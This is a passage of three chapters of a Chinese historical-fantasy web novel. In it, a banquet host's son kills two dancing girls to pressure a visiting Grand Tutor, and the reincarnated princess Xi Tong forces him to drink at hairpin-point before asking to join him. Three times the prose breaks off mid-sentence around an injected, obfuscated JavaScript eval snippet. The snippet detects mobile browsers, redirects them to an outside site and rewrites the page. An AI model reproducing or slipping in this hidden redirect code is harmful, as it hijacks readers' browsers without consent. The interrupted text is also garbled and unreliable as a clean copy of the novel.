赵臻摇了摇头,歉然道:“抱歉,本官饮不了酒,只喝半杯,浑身便会起满红疹,痛痒难耐,只能以茶代酒了。” “当真如此吗?”陆珏笑着,可眼睛里却流出路质疑,以开玩笑的语气说出了真心的不满:“别是太傅大人瞧不上咱们陆府地处偏远,觉得这酒水配不上您这京中贵人吧。” 赵臻也笑:“陆家主真会说笑,没有的事。” 两人说着,姑娘们穿着雪青色的衣裙施施然走到了宴厅中央。 她们站定,丝竹声响起,随着绮丽的乐律,女子们翩翩起舞,宛若春日里翩跹清丽的蝴蝶。 赵臻林载神色未变,世家宴客,家伎献舞,是常有的事。 陆忧也淡淡的,只瞥了最角落的奚瞳一眼,只见她神色恹恹,她还真是……做什么都不积极。 陆珏和陆憧却很是沉醉,陆珏眯着眼,身子随着丝竹声晃动。 陆憧几杯酒下肚,脸颊上已经有了红晕,一双眼睛恨不得长在姑娘们身上。他对承桑绿绮流连忘返,一想到她马上就是赵臻的人了,难免有些不舍。随即,他的眼睛便来到若妍身上。若妍也不错,甜美,爱笑,身段也玲珑有致,床榻上的滋味儿一定好。绿绮已经溜走了,他得把若妍保住。 待会儿依照父亲的计策行事,他对若妍也算是英雄救美,小妮子定然感动,到时候她肯定会从了他。陆憧想到这里,便自顾自笑出来。 赵臻看到陆憧这幅样子,眼神冷冽鄙夷。 一舞毕,陆珏问赵臻:“太傅大人,这舞如何啊?” “极好。”赵臻淡淡道:“人美,舞美,丝竹也美。” 这是句客套话,在场之人都知道。 按理说家伎献舞到了这里,若客人没有别的意思,姑娘们和乐师便可以退下了。 可陆珏却道:“既然大人喜欢,不妨让她们多多表现自己。你,过来,给太傅大人敬酒。” 被指的姑娘叫小鸾,她从进来,眼神就挂在赵臻身上,这样俊逸不凡的男子,让人如何移得开眼睛。如今家主点了她的名去敬酒,她喜出望外,若能得了太傅大人青眼,做了他的人,不知道是几世求来的福分。 小鸾身边的姑娘们也都或多或少流露出艳羡之情,就连平日里跋扈的若妍都不例外,唯有两人还算沉得住气,一是承桑绿绮,她早已对陆忧情根深种,赵臻虽好,来之晚矣。二便是角落里的奚瞳。 奚瞳今日只略施粉黛,同妆容精致的姑娘们比不了,赵臻也好,陆家这几人也罢,没有注意到她,都是情理之中。 可陆珏突然点了人去给赵臻敬酒,奚瞳总觉得有些不寻常。 陆家这些姑娘,平日里被陆忧保护得很好,陆珏碍于几分叔侄情面,鲜少让她们做些陪酒卖笑的事,可今日…… 她看一眼陆忧,果不其然,陆忧皱了眉头。 小鸾微微低着头,翩然走至赵臻身前,七分端庄三分娇羞,曲下膝盖,端起酒盏,柔声道:“大人,奴婢敬您。” 这样的姿态在家伎里已经足够端庄,陆家将她们约束得很好,赵臻这样想着,却没有接受她的敬酒:“姑娘,本官不善饮酒。” 小鸾没想到赵臻会拒绝,神色里染上一些委屈,她有些无措地看向陆珏。 陆珏神色不明,此时陆憧半醉着站起来:“敬个酒……都不会,我陆家要你何用啊?” 说罢,他提起长剑,走到小鸾身边,一剑捅穿了她的腹部。 鲜血如花一般在她衣衫上绽放,小鸾不可置信地低头看着夺去自己性命的兵刃,下一刻便双目失焦,倒了下去。 “啊啊啊啊啊……” 陆憧杀人了。姑娘们瞬间尖叫出声,三三两两抱成了团。赵臻瞳孔紧缩,林载也端正了坐姿,陆忧站起来,厉声道:“兄长!” 奚瞳还是原地站着。 她眉眼染上寒气,不由冷笑,好一场鸿门宴啊。 5.第 5 章 血腥气逐渐在宴厅里散开,姑娘们害怕极了,牙齿都在打颤,站得近了,就能听到“咯咯”的响声。 陆憧却没有要停止的意思,他的三角眼又朝姑娘们看过来,姑娘们因此抖得更厉害,眼泪也簌簌掉下来。 她们的恐惧没有换来陆憧的怜悯,反倒让他产生了变/态的快意。他邪笑着,又抬起手指向一个姑娘:“来,你来,来给太傅大人敬酒。” 这次被指的姑娘叫莲儿,她惨白着一张脸,泪流满面,咬着下唇,不断地摇头。 陆憧则抬起长剑,用舌头舔了舔小鸾留在剑上的残血:“怎么,你不愿意?” 陆憧这副嗜血的模样吓坏了莲儿,她又看一眼神色泰然的赵臻,仅剩的理智很快做出了选择,信陆憧还不如求赵臻。 莲儿当即跑到赵臻跟前,跪下来拽住他的衣摆:“太傅大人,奴婢敬您一杯酒,求您……求您了……” 赵臻眸色晦暗,神情却依旧悠然,只敲打着膝盖的食指昭示着他在思考权衡。 陆憧却等不及想要继续这场屠戮的游戏,他邪笑着:“太傅大人还不愿饮酒吗?没关系,漂亮姑娘啊,有的是。” 莲儿知道自己怕是命不久矣,疯狂给赵臻磕着头:“大人!大人!求您喝了吧!求您怜惜奴婢啊大人!” 赵臻神色不变,可放在膝盖上的手已经微动,似乎有了起势,然而下一刹,长剑便自上而下穿透了莲儿的背部,莲儿口吐鲜血,跪匐着死去。 “兄长这是做什么!”陆忧厉声道。 赵臻却看得明白,陆珏父子,这是在跟自己示威。 如今陛下年幼,赵臻辅政,总领国事。世家却并不服他,不只不服,而且瞧不起他。 他们认为赵臻是靠着进献美女丹药讨好先帝,才在灭族之祸后苟活下来,又跟太后不清不楚,不知用了多少腌臜下流的献媚手段,才得了太傅之位。 这样贪生怕死、背弃家族、又倚仗女子的小人,忝居高位,实在天理难容。而且赵家三族被灭,已经没有人了,他赵臻茕茕孑立,无势可依,有什么动不得杀不得。 于是世家之人渐如贪狼,盯着赵臻手中的权利,想要取而代之。放眼大盈境内所有高门大族,唯有之前同赵家有些交情的林氏愿意站在赵臻这边。 凡此种种,赵臻若想固权,游说世家与之联合,是必经之路。 而同样经历过先帝问罪而避世远走的陆家,自然成为了赵臻的首选,更何况,陆家还出了一个闻名列国的兰河公子。 赵臻料到陆珏有野心,应当会跟他谈些条件,但却没想到,他不只想跟他谈条件。 陆珏今日这出戏,目的就是让赵臻知道,陆家再怎么式微,也不是他赵臻予取予求的。陆家若倒向赵臻,也算冒天下之大不韪,想合作可以,好处得给够,而且日后行事,要看他这陆家家主的脸色。 这并不是多么高明的手段,也不是多么深奥的心机,无非就是“丑化说在前头”罢了。 但偏偏陆珏的丑话说得太丑,已经是一种威胁。 赵臻本因方才那伎子的哭求有些心软,但看到陆珏父子的做派之后,心肠便彻底硬下来。 他此刻坐得极安稳,嘴角甚至噙了一丝莫测的笑意。 陆珏看赵臻这幅模样,讶然之外,不由怒从中来,他对陆憧使了眼色。 陆憧笑着看向若妍,声音都柔软了许多:“若妍啊,你来,你这样好看,太傅大人定会喜欢你。” 陆憧都想好了,待会儿赵臻若还是拒绝,陆珏就大发慈悲放若妍一马,换个伎子杀杀,等事后再对若妍坦露心迹,将她收入房中,生死一遭下来,她哪有不从的。 若妍哪里知道陆憧的心思,她肩膀不可抑制地颤抖着,指甲在掌中恨不得掐出血来。 她木然地往前挪了一步,双腿就像灌了铅水一般,喉头不自主地发出泣声。 陆憧听了,面露心疼:“若妍别怕,来,过来。” 若妍听了这句,抽泣地更加厉害。 就在她走了几步之后,一只手蓦地从她身后伸过来,拉住了她的小臂。 若妍回头,是奚瞳。 奚瞳从容道:“我来。” “奚瞳!”陆忧忍不住低呵一声。 赵臻也有些意外地看向这个“送死”的女子。只看一眼,他便拧了眉。 她十七八岁年纪,容貌在这些伎子中并不出色,可是……她的眼睛……好熟悉。他总觉得在哪里见过她,见过不止一次。而且……为什么,为什么他胸中,竟泛起一些苦涩…… 陆憧觉得很有趣:“真是奇怪,竟还有人抢着送死的。好,你来就你来。好若妍,你再等一等。” 奚瞳没有惧色,也没有下跪,她径直走到赵臻跟前,用眼神示意酒盏:“大人,请满饮此杯。” 奚瞳这敬酒没有规矩,更没有诚意,众人都以为赵臻会发怒并且拒绝,可赵臻只直直地看着她。 奚瞳余光瞥见陆憧又要举剑,电光石火间,她飞快侧身,步到赵臻身侧,于此同时抬手摘下她发髻上的铃兰花簪,弹指一霎,簪子的尖头便抵在了赵臻的脖颈之上。 奚瞳的动作太快,众人都震惊不已,就连陆珏都从座位上站了起来。 赵臻却岿然不动,奚瞳也满面从容。 “大人,请饮酒。”奚瞳俯视着赵臻。 因她这番行事,赵臻对她的好奇与困惑全然散去,只剩杀意。 “陆家的伎子,竟有这样的身手。”赵臻冷笑:“这位姑娘,你是真的不怕死吗?” 奚瞳坦然一笑:“大人看见了,您不喝酒,我必死无疑,您若喝了,我或能有一线生机。这境况,我没得选。” 赵臻抬眸,看向奚瞳:“你叫什么名字?” “奚瞳。” “瞳?” “眼睛。”奚瞳道。 说着,赵臻的脖子上,发簪与皮肤的接触处,已经渗出一个小小的血珠。 “本官方才已然说了,若是饮酒,周身会起红疹……” “死不了。难受几天而已。”奚瞳笃定道。 强迫赵臻饮酒这事,奚瞳在长秦王宫已然做过许多次,确实死不了,她当时颇感遗憾。 奚瞳说得太过理所当然,赵臻不禁笑了:“你的意思是,本官堂堂太傅,要用身子数日不爽,换你一个伎子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12554780|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性命?” “我虽觉得太傅和伎子的性命没有太大区别,但大人若实在觉得不值,不妨想想,您换的可不是我的性命,而是您自己的。” 说罢,奚瞳手上的力道又重了些,簪子几乎就要突破赵臻皮肤的防御。 对峙良久,赵臻终是举起酒盏,将杯中酒一饮而尽。 这敬酒终是成了,奚瞳将簪子戴回发髻上,姑娘们惧意尚在,若妍双手捧着心口,有些感激地望向奚瞳。 可陆憧脸上却有了怒意,他原本想用这招“你同别的女人不一样”来收服若妍,被奚瞳这么一搅和,白白让他错过了美人。 陆憧本就好色,如今醉意又上了头,今日都杀了两个伎子了,何妨再杀一个,打定主意,他提剑朝奚瞳砍去。 奚瞳感受到剑风,猝然回头,却来不及防备,正当长剑直击命门时,一只手在她背后拉了她一把,只见赵臻起身,将奚瞳护在身后,食指中指扼住陆憧的剑,稍加用力,长剑便碎做几段。 奚瞳劫后余生,刚想松一口气,可下一刻发生的事,大大出乎了她的预料,也出乎了所有人的预料。 赵臻擒住陆憧,将他原本执剑的手狠狠按在了几案上。 陆憧吃痛,呲牙咧嘴。 陆珏不知道赵臻意欲何为,只觉焦躁:“大人这是做什么?!” 赵臻袖中匕首滑至他的掌中,他眸底闪过寒光:“我赵臻生平,最恨受人威胁。” 话音刚落,匕首便直直插入陆憧的腕子,将他的手狠狠钉在了桌案上。 “呃啊啊啊!”陆憧剧痛嘶吼。 “赵臻!”陆珏怒道。 “陆珏。”赵臻气定神闲,用帕子擦拭着自己碰过陆憧的双手:“我乃当朝太傅,陛下也好,宰相也罢,都要给我几分薄面,你区区一介江湖客卿,谁借你的熊肝凤胆,在我面前这般放肆?!” “你……”陆珏额头有汗,但心中怒意未消:“你别忘了,是你有求于……” “大盈有的世家,我找你陆氏,不过是因为付出的代价最低罢了。此次不成,无非就是再多花些精力与钱财,同其他世家谈判,他们可比你聪明多了。陆珏,你唯一的筹码,是你的廉价,现在,你明白了吗?” “我……”陆珏没有想到,赵臻这般难缠。 “我废令郎一只手,方才的闹剧,我当没有发生过。不过陆珏,我是个没有耐心的人,再有下次,断的可就不是手了。”赵臻的脸颊已经起了零星红疹:“我饮了酒,身子不适,敢问陆家主,厢房备好了吗?” 陆珏气得双腮肉抖,陆憧疼得嗷嗷痛哭,唯有陆忧还算沉静,半晌,他出声道:“厢房在庭院东南,来人带路,请郎中,好生照顾太傅大人。” 几个小厮点头称是,赵臻却微微回首,睨向他身后的女子:“奚……” “瞳。”奚瞳应道。 “你过来伺候。” 陆忧见状,刚想说“怕是不妥”。 可奚瞳更快一步:“噢。行。” 赵臻离开宴厅,奚瞳亦步亦趋,林载悠悠然跟在他们身后,经过陆憧时,拍了拍他的肩膀:“啧,你说你闲着没事惹他干嘛?” 6.第 6 章 虽说见面不甚愉快,但陆家给赵臻准备的厢房倒也雅致。 青玉罗汉床,雕花翘头案,书架上竹简琳琅,茶几上点心缤纷,待客之道做得很足。 奚瞳见了,暗暗哂笑,这套路真土,打一巴掌给个甜枣,只是陆珏没想到,打巴掌的时候赵臻他是真还手。 赵臻坐到榻上,他脸颊已经泛了红,面上和手上有了突出于皮肤表面的团状疹子。郎中很快来了,给赵臻把了脉,开了几副内服的汤药,又开了一盒外用止痒的玉露膏。 林载抱臂倚在门楹上,他实在很佩服赵臻,这疹子单就看着都觉奇痒难耐,遑论长在身上,赵臻竟能一下都不挠,还保持着他那一张冰块脸,从容不迫得像是一方坐山石。 他也很佩服这个小伎子,她自打进门便自行坐到了茶几旁边,就郎中看诊这会儿功夫,她已经吃了两块点心喝了大半杯茶了,就她这身份,就她在宴厅那做派,这怎么不算一种视死如归呢? 郎中走后,赵臻冷冷看向奚瞳。 奚瞳注意到他的目光,拿起一个花生酥饼:“你要不要?” “噗!”林载没忍住。 赵臻横他一眼,林载很识时务:“得,我去布置布置人手。” 奚瞳见赵臻没有吃东西的意思,便将酥饼又放回碟子里。 布置人手…… 是了,一朝太傅,探访边城,带些暗卫出来,无甚稀奇,这也就是为什么他都把人家陆大公子的手废了,却还敢吃人陆家的睡人陆家的。明摆着就是留了后手,有恃无恐。 赵臻见奚瞳吃着吃着就发起了呆,一边发呆还一边点头,不由觉得可气又可笑。 “我叫你来,不是来吃点心的。”赵臻沉声道。 奚瞳转头看他一眼,将点心放下,用帕子擦了擦嘴角和手上的油脂:“哦。” “没有规矩。”赵臻发出评价:“过来给我上药。” 奚瞳走到他身边,堂而皇之坐下来,拿起玉露膏:“上哪儿?” 赵臻咬肌微紧,不用尊称、不行礼数、不经他允许擅自近他身的伎子,四海之内,这怕是头一个。 赵臻痒得难受,懒得跟奚瞳计较:“脸上,后背,其他地方我自己来。” “行。” 奚瞳的食指剜了一撮玉露膏,柔柔涂到他脸上,因为上药,两人难免对视着。 赵臻看着奚瞳的脸,这是一张除开眼睛便乏善可陈的脸,然则这双眼睛实在流光溢彩,衬得整张脸都明艳起来。他不相信奚瞳主动请缨给他敬酒,只是出于对那些伎子的义气,她赌上性命那般出头,一定对他有所企图。待他识破她的真正目的,若她当真心肠奸邪,他便要将她的眼睛挖出来,放到琉璃瓶中泡着,再请道士为其嵌符,以做镇宅之用。 奚瞳不知道赵臻此刻满脑子想的都是如何将她的眼睛练成法器,她也在看着赵臻的眼睛。不同的是,她没有看他的瞳仁,而是在看他眼尾的小痣。 奇怪,那时候的赵臻,脸上是没有痣的。 奚瞳专注看某样事物的时候,双瞳会格外深邃,似有暗波流转,这种深邃落在赵臻眼里,已经近乎一种别样的勾引。 不知为何,他明明在心里已经对这妓子起了凌虐的杀意,然则面对她的凝视,他首先生出的竟是怯意。 他不由转了转头,奚瞳的指腹随即在他脸上划了一道,玉露膏因此滴落在赵臻的衣襟上。 “啧!”奚瞳出声:“别乱动!” 赵臻额角的青筋抖了抖,这伎子,她是啧我了吗?她怎么敢?! 一波震惊还未平息,赵臻便听奚瞳开了口。 “赵臻,你眼尾这颗痣,是什么时候有的?” 奚瞳的眼神还在赵臻的泪痣上流连,可下一瞬,赵臻便狠狠抓住了她的手腕,奚瞳这才移了半寸目光,到了赵臻的眼眸里,他似乎生气了。 赵臻本就因她看他的眼神而心绪难平,她又一而再再而三地冒犯她,惹得他心中无限焦躁。 赵臻生平遭遇过许多险境,可在一个女人身上感受到危险,这还是头一次。 于是他不再克制,对奚瞳发出诘问:“放肆!谁准你直呼我名讳?!谁派你来的?你的目的是什么?!” 奚瞳对赵臻的突然发难有些意外,因为他不是个沉不住气的人,那时候她和他斗得你死我活,可见了面,也能装出三分笑意。 “很放肆吗?”奚瞳真诚问道。 她确实不太知道赵臻对“放肆”的定义在哪,毕竟她以前都叫他赵狗。 “你……”赵臻觉得自己重拳出击却打在了棉花上:“你当真不怕死吗?” 奚瞳摇头:“众生畏死,并不是畏惧死亡本身,而是畏惧死后的未知。他们不知道死往何去,自然惶恐。” 赵臻讥讽:“那你知道?” “知道。” 赵臻的手松开来,奚瞳又开始给赵臻上药,这次玉露膏涂在了铃兰花簪戳伤的他的颈子上。 人的颈子涉及命脉,柔润清凉的触感来到这里,赵臻难免颤了颤。 不过这次他没有躲,他知道给这处地方上药,是奚瞳对他的愧疚,她在真心地伺候他。呵……还算她有点良心。 赵臻心里舒坦一些:“那你说说,你死往何去?” “我位列仙班,成了仙女。”奚瞳答道。 “呵……” 赵臻是真笑了,他脑子里陡然涌现另一种猜测,就是说有没有一种可能,这个奚瞳她不是别有目的,她单纯就是脑子有病。 “你倒挺会给自己安排,你算哪门子仙女?” 奚瞳回答:“天庭部门太多,分得太细,我们这些仙女职责也很琐碎,跟你一时说不清楚。简而言之,你可以将我理解为天地间掌管酒水的神。” 听到这里,赵臻已经确定,这小丫头是满嘴跑马车寻他开心了,她是天地间掌管酒水的神,所以才让他起了这一身疹子是吗? 或许是汤药和玉露膏起了效,赵臻周身的痛痒消减很多,他此时面对奚瞳的胡说八道竟也没有多么生气了。 “赵臻,脱衣服。” 奚瞳蓦地来了这么一句,赵臻的面色又冷下来。 奚瞳歪了歪头:“不是要给后背涂药?” 赵臻没有动作。 奚瞳:“你莫不是怕我从背后捅你刀子?你放心,我轻易不玩阴的。” 赵臻真的累了,他根本不明白奚瞳是怎么做到的,怎么做到如此的难以交流。 说她愚蠢,可他的每个眼神每种脸色,她都能理解当中含义。 但若说她聪明,她给出的解释,又全是些疯言疯语。 赵臻叹了口气,背过身,将长衫褪下,露出精壮的脊背。 奚瞳望过去,不由一滞。 赵臻的背上,除却已经蔓延成片的淡红色疹子,还有许多刀剑伤疤。 奚瞳迟迟没有动作,赵臻冷哼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12554781|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“怕了?” 奚瞳在赵臻看不见的他的背后,轻轻摇了摇头:“我就是觉得,自己是否有些残忍了。” 赵臻以为她在说那些酒疹:“不是你残忍,是我大度,愿意放过你。” 奚瞳笑了笑,将药膏涂在他的背上:“是吗?那我谢谢你。” 林载回来时,见到的便是奚瞳坐在床上,赵臻在穿衣服。 他震惊了,他惶恐了:“你们……我……” 奚瞳完全不理会林载,起身对赵臻道:“赵臻,我想跟着你。” 林载倒抽一口凉气。 赵臻还是一脸冷淡:“你要做我的女人?你可知道动了这种心思的女子,都是什么下场?” 奚瞳蹙眉,做他的女人……这话好像不太对,但放在当下的环境中,好像又没什么不对…… 她如今是贱籍,自然需要依附高门之人,若是跟着他,确实就是他的人了,她又是个女的…… 所以做他的女人,倒也说得通。 “你就说行不行。”奚瞳道:“其他我自有安排。” 林载战术后仰,赵臻却已经有些习惯了奚瞳的说话方式:“呵,你凭什么觉得我会要一个伎子?还是别人家的家伎?” 奚瞳没有说话,只安静地望着赵臻,似乎很是笃定,他一定会答应。 许久,赵臻松口:“看你有没有本事,说服陆家。” 奚瞳点头,补充道:“还有。我得带上我妹妹。” 林载面色凝重,她敢勾引赵臻已经十分令人咋舌,如今居然提出姐妹共事一夫。 赵臻:“随你。” 林载看向赵臻,满眼都是“你疯了?” 奚瞳点了点头:“好,我去找陆忧谈一谈。” 林载觉得自己脑子已经不转了。 奚瞳,一个家伎,说白了就是陆家的女奴,她要做赵臻的女人,她还要和她妹一起做赵臻的女人,她还要去找陆忧谈一谈,让陆忧同意她做赵臻的女人。 她不只是视死如归,她简直就是不想多活一点…… 奚瞳越过林载,赵臻却叫住了她。 “奚瞳。” 奚瞳回头。 “不要让我抓到你的狐狸尾巴。”赵臻目光如狼:“否则,我杀了你。” 奚瞳看着赵臻,有些恍惚起来。 她记得那时候,她刚及笄,赵臻就成为了殿前枢密使。 他是宦官,初入朝堂就坐在了这么高的位置上,哪里能不小心。起初几年他对朝中众人笑脸相迎,宴饮往来事事周到,谁看了都要说一句八面玲珑。 某日在后宫甬道,奚瞳和他迎面相逢,奚瞳对他说:“不要让我抓到你的狐狸尾巴,否则我杀了你。” 赵臻当时的回答是:“公主不妨试试看。” 回忆至此,奚瞳看向赵臻,笑了笑:“太傅大人不妨试试看。” 见奚瞳走了,林载想起他刚进来时那一幕,走近赵臻:“你幸了她了?” 赵臻拧眉看他。 林载松了一口气:“没有就好。周怀淑……太后那性子,你又不是不知道。” “人手布置好了?”赵臻转移话题。 林载从善如流:“嗯。但是布置归布置,这案子压了这么多年,里头的势力盘根错节,怕是不好办。你当真要动周家了?” 赵臻眸子里染上无尽苍冷寒意:“周家当年做下那些事,就该想到会有这一天。” 7.第 7 章 奚瞳回到妆房时,明月悬枝,夜色溶溶。 妆房摆了宴席,陆忧坐在上座,姑娘们坐在下头。今日她们吓着了,陆忧给她们摆一道席面,这是他作为主人,也作为君子的致歉,更是世间伎子鲜少得到的礼遇和恩赏。 若放在平常,姑娘们定是满怀喜悦,无不感激的。 可今日却不同,午宴献舞,死了人了。死的人是她们的同伴,晨起还在一起挑妆花,几个时辰过去,已经阴阳两隔。 所以这餐饭吃得很沉默,陆忧沉默,姑娘们也沉默。 直到奚瞳的现身,才打破了这悲戚的平静。 姑娘们看到门口的奚瞳,情绪都很复杂。奚瞳是个古怪的人,不合群,说话也难听,她们平日很讨厌她,然则今日若不是她,不知还要死多少人。感激,是有的。 可风波过后,她被太傅大人点名要去伺候。太傅大人龙章凤姿,又是一等一的尊贵人物,虽说他与太后有些传闻,但更为切实的说法是,他不近女色,否则也不会年近而立,无妻无子。这样的谪仙人,却被奚瞳近了身,说不定一朝过后,奚瞳就会走到她们难以企及的位置上去,如同当年的芳夫人一般。所以嫉妒,也是有的。 当中承桑绿绮和若妍的神色与众人有些不同,若妍是被奚瞳救下来的,她分得清好歹,奚瞳回来之前,她早已下定决心要将奚瞳当做自己的亲姐妹,就像她和绿绮一样。 承桑绿绮更多的则是思考。她们之前几乎是被陆忧圈养的,安全也安逸,但承桑绿绮深知,那日奚瞳的话是对的,二公子对她们再好,家伎也是下贱身份。 而家伎在宴会上被客人点名要去伺候,往往是客人看上了伎子,要伎子的身子。所谓伺候,无非就是床帷中那点事。所以当赵臻要奚瞳“伺候”时,她虽对赵臻无意,但心里也是有几分不平的。奚瞳同她相比,实在不算出众,太傅大人怎么就独独看上了她…… 但如今奚瞳却回来了,太傅大人并没有留她过夜,伺候了却不留宿,这便是不满意她的“伺候”,思及此处,承桑绿绮暗暗松了一口气,甚至还有些爽快。 陆忧并不知姑娘们心思流转,他打量着奚瞳。 他自然不觉得赵臻让奚瞳过去是为了临幸她,他了解赵臻。赵臻绝非耽于女色之人,何况奚瞳只是一个家伎。 可奚瞳对赵臻,应该是存了心思的,否则她不会那么痛快就跟赵臻走。两条性命因赵臻和陆珏的博弈而流血逝去,这种关头,奚瞳面对赵臻的召唤,竟无半分惶恐犹疑,若非有意,怎么可能。 陆忧突然就觉得心里有些不舒服,他自问放眼四海,无人同他一样,将家伎当做人看,可他如此这般,竟换不来这丫头丝毫流连,真是没有良心啊。 紫虚冲奚瞳招手,示意她坐到自己身边。 奚瞳微笑点了头,径直坐了过去。 陆忧气闷,她居然都不对自己行礼了,好好好,好得很,见了京城的贵人就忘了他这府里的主人。但其实是陆忧自己忘了,自打奚瞳入府,从未向他行过礼,她的放肆,跟赵臻没什么关系。 “奚瞳。” 陆忧佯装冷下脸来,本想教训教训这个不知道死活的小姑娘,可与此同时,奚瞳也开了口。 “公子。我想跟着赵臻。” 陆忧愣住了,姑娘们眼睛瞪大了,陆忧身后站着的心腹侍从余巍气得想拔剑。 奚瞳这句话,直呼太傅名讳,直言想要背主,十个字不到,但当中信息量实在炸裂,让人脑壳生疼。 奚瞳浑不在意,夹了一只石锅煨凤爪,咬了一口,软烂脱骨,真是美味。 陆忧却再也没有了胃口,放下了筷子:“为何?” 奚瞳抬起素手,将口中凤爪的小骨头吐出来,陆忧哪怕胸中怒海生波,但也还是忍不住凝视着奚瞳的动作,她的手指纤细修长,白皙莹润,吃肉吐骨明明不甚雅观,但却让她做得极为得体好看。 奚瞳咽下口中的佳肴,看向陆忧:“赵臻位高权重,长得也好看,个性也不错,挺好相处,我想跟着他,不是人之常情吗?” 在场之人皆是满头黑线,别的暂且不论,就说太傅大人手起刀落就把陆憧的腕子捅了个窟窿出来,就很难让人觉得他好相处啊……奚瞳大抵是想往上爬想疯了…… 陆忧则敛了眉眼,夹了一枚鸡爪放到面前的碟子里:“不行。” 陆忧这两个字说得极清晰,奚瞳看他一眼道:“好。那我想跟着公子去京城。” 陆忧抬眸,看向奚瞳:“就这样?不再求一求?” 奚瞳唇角微弯:“我若坚持,公子会松口吗?” “不会。” “那我为何要浪费口舌?”奚瞳双瞳清澈:“所以公子能带我去京城吗?” “可。”陆忧没有犹豫,他本就想带着奚瞳的。 “我还要带着紫虚。”奚瞳继续说。 “可。”陆忧答。 奚瞳点头:“我吃饱了,也累了。你们慢用,我去休息了。” 说罢便起身离开了。 陆忧点了点头,继续吃饭。余巍咬着牙看奚瞳的背影,这女的到底为什么这么横…… 同样含恨的还有承桑绿绮,她从午宴结束,便想着如何求陆忧带她上京,几个时辰里,她心中演练了千万遍请求陆忧的姿态与话术,可奚瞳居然这般轻易就做到了,而且以如此自大狂悖的姿态做到了。凭什么……她凭什么…… 奚瞳确实困了,但回到通铺,并没有着急洗漱睡觉,她拿下头上那生了锈的铃兰簪子,簪尖之上,残留着赵臻已经干涸的血迹。 她拿出枕头下的一方鹿皮,沾了一点水,轻轻擦拭它。 她升仙时,渡她过仙门的引仙人说,她可以带一样凡世之物以作留念。 鬼使神差地,她选了这枚簪子。 这是她十七岁生日时,赵臻送她的贺礼,同时还送了她一句话,他说在臣心里,公主就如这铃兰花一般,清隽美丽。 奚瞳知道他的意思。 铃兰并不是中土的原生花朵,而是西洋外藩引进的。 花开纯白,花型如铃,纯美至极,然而铃兰……有毒。 赵臻这是讽刺她呢,说她形貌无害,但毒气淬心。 奚瞳想到这里,不由觉得好笑:“我对别人良善得很,唯你让我狠毒非常,赵臻,不从自己身上找找原因吗?” …… 这一夜奚瞳睡得很不安稳,许是和赵臻重逢的缘故。 她做很多稀碎的梦,长秦王宫的人生已经距离她五百年之久,可赵臻的出现,让那一世记忆蒙上的尘土渐渐散开,又变得明晰起来。 那时,她曾见过已经是枢密使的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12595118|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵臻跪在地上,为出宫游玩归来的父亲,拭去鞋袜的尘土,也曾见过赵臻匍匐着,收拾丞相在宴会上摔在地上的汤碗。她从来不知,一个人奴颜婢膝能到这种程度,原来权力真的会让人变成狗。 可她后来也见过,他高举长剑,振臂高呼“为人臣者!为国死、为君死、为民死!今日降敌者!来世必为猪狗虫豸!永世不得善终!” 他说这句话的时候,她的父母、兄弟早已跪在了敌军铁蹄之前。 奚瞳那时才惊觉,她或许从来都没有明白过赵臻,可她想要明白他的时候,已经太晚了。 她早就下了决心,长秦亡国之日,便是她寿终之日。长秦王室,总要有一点拿得出手的血脉,以告后世之人,长秦末世,不只有跪降的王族、畏战的将军、无能的文臣,还有一位愿意同她的子民同生共死的公主。而公主身边,有一位同她并肩作战的枢密使。 他们在漫长的岁月里互相憎恨,却在生命最后的仓促时光里,成为了彼此唯一的同伴。 奚瞳在梦中被眼泪灼伤眼眶。 疼痛让她幽幽醒了过来,姑娘们有的刚刚梳洗完,原来她才睡了这么一会儿吗? 还在怔愣着,身后突然有一双手柔柔抱了上来。 奚瞳一愣,她并不是一个习惯亲密动作的人,就连相伴多年的紫虚,至多也就是拉一拉她的手。 身后的姑娘软着声音说道:“奚瞳,今天谢谢你。” 是若妍。 奚瞳没说话,只点了点头,其实她觉得若妍不必如此谢她,若当时不是她,是任何一个姑娘,她都会上前。 救人只是一个方面,更重要的是,她需要一个契机,让赵臻注意到她。当好心之中掺杂了利用,善意就不那么可贵了。 “怎么不说话?”若妍道:“是不是之前我们关系……有点生疏,所以你还在生气。” 奚瞳心道,那是有点生疏吗?那是相当生疏。 若妍接着说:“总之那都是过去了,以后我会对你好的,就像我对绿绮一样。” 真是个孩子,奚瞳暗暗感叹。 “哎呀你说句话呀。”若妍撒娇。 奚瞳无奈道:“热。” “啊?” “我说,你抱得我很热。” “切……你这人……对了,明天我们打算去求公子,让公子带我们上京。到时候你得帮我说话。” “……” “你听到没有啊?!” “听到了。” 